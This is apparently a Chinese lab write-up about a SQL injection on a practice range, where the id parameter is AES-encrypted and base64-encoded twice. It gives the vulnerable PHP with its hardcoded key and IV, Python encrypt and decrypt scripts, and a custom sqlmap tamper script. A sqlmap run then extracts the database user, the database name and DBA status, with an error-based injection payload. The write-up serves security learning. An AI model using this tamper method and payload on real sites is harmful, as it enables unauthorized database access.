今天遇到了一个AES加密后的SQL注入。之前很少接触AES加解密的知识,因为CTF打的少的原因。

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
header('content-type:text/html;charset=utf-8');
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>

以上是SQL注入的代码,简单的分析下代码

Mcrypt是PHP中的一个拓展模块,类似CURL。

1
2
3
4
5
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

这一部分是Mcrypt的关键代码,类似CURL的一套流程。

1
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');

以 AES, 128 CBC模式加密数据

1
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');

mcrypt_generic_init函数是用来初始化加密缓冲区的,这里指定了两个参数keyiv

  • key 调用 mcrypt_enc_get_key_size() 函数获得的密钥最大长度。 小于最大长度的数值都被视为非法参数。

  • iv 通常情况下,向量大小等于算法的分组大小。

1
2
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

相当于关闭缓冲区。

mdecrypt_generic函数是解密函数,与之对应的是mcrypt_generic即用来加密的函数。

这里我们可以知道传入的id值经过两次base64解密,然后经过AES解密。进入后面的if判断.

1
2
3
4
5
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}

这个if判断是用来分隔字符的。通过判断上面解密得到的data值的后六位是否为_mozhe

若不是则302跳转,若是则分隔字符串去除_mozhe。即1_mozhe经过分隔得到1

PHP加密脚本

加密脚本很简单 只需要根据解密的反过来写就可以了。

解密的过程流程图如下

data->base64_decode->base64_decode->AES_decode->strlen(trim($data))-6->id

加密过程的流程图如下

id->id + _mozhe->AES_encode->base64_encode->base64_encode->data

按照流程图的顺序,php加密的代码就可以得到了

1
2
3
4
5
6
7
8
9
10
function encode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = $data .'_mozhe';
$data = mcrypt_generic($td,$data);
$data=base64_encode(base64_encode($data));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
return $data;
}

这样我们得到了加密的函数,把需要注入的SQL语句代码函数得到加密密文就可以进行注入了。

tamper编写

这个注入是可以用SQLMap来跑的,这里我们可以编写一个tamper脚本来进行。

这也是我写这个笔记的目的,进行一次tamper脚本编写的尝试。

我用自己很蹩脚的Python编写出一个加密和解密的脚本。

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES  
import base64

def decrypt(text):
padding = '\0'
key = 'ydhaqPQnexoaDuW3'
iv = '2018201920202021'
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(base64.b64decode(base64.b64decode(text)).rstrip(padding))

if __name__ == '__main__':
print decrypt('ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09')

加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import AES  
import base64

def encrypt(text):
padding = '\0'
key = 'ydhaqPQnexoaDuW3'
iv = '2018201920202021'
pad_it = lambda s: s+(16 - len(s)%16)*padding
cipher = AES.new(key, AES.MODE_CBC, iv)
text = text + '_mozhe'
return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

if __name__ == '__main__':
print encrypt('1')

这里我们就可以根据这个加密脚本编写tamper了。直接把函数丢进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from Crypto.Cipher import AES

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING


__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def encrypt(text):
padding = '\0'
key = 'ydhaqPQnexoaDuW3'
iv = '2018201920202021'
pad_it = lambda s: s+(16 - len(s)%16)*padding
cipher = AES.new(key, AES.MODE_CBC, iv)
text = text + '_mozhe'
return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

return encrypt(payload)

启动SQLMap,就可以直接的进行注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@kali:~# sqlmap -u "http://219.153.49.228:42530/news/list.php?id=" --tamper aes.py --current-user --current-db --is-dba
___
__H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:41:22

[10:41:22] [INFO] loading tamper script 'aes'
[10:41:22] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[10:41:22] [INFO] testing connection to the target URL
[10:41:22] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:41:22] [INFO] testing if the target URL content is stable
[10:41:23] [INFO] target URL content is stable
[10:41:23] [INFO] testing if GET parameter 'id' is dynamic
[10:41:23] [INFO] confirming that GET parameter 'id' is dynamic
[10:41:23] [INFO] GET parameter 'id' is dynamic
[10:41:23] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[10:41:23] [INFO] testing for SQL injection on GET parameter 'id'
[10:41:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:41:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[10:41:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:41:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:41:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:41:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:41:25] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[10:41:25] [INFO] GET parameter 'id' is 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[10:41:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:41:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: id=(SELECT 3997 FROM(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(3997=3997,1))),0x717a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
---
[10:41:28] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[10:41:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL >= 5.0
[10:41:28] [INFO] fetching current user
[10:41:28] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[10:41:28] [INFO] fetching current database
[10:41:29] [INFO] retrieved: mozhe_Discuz_StormGroup
current database: 'mozhe_Discuz_StormGroup'
[10:41:29] [INFO] testing if current user is DBA
[10:41:29] [INFO] fetching current user
current user is DBA: True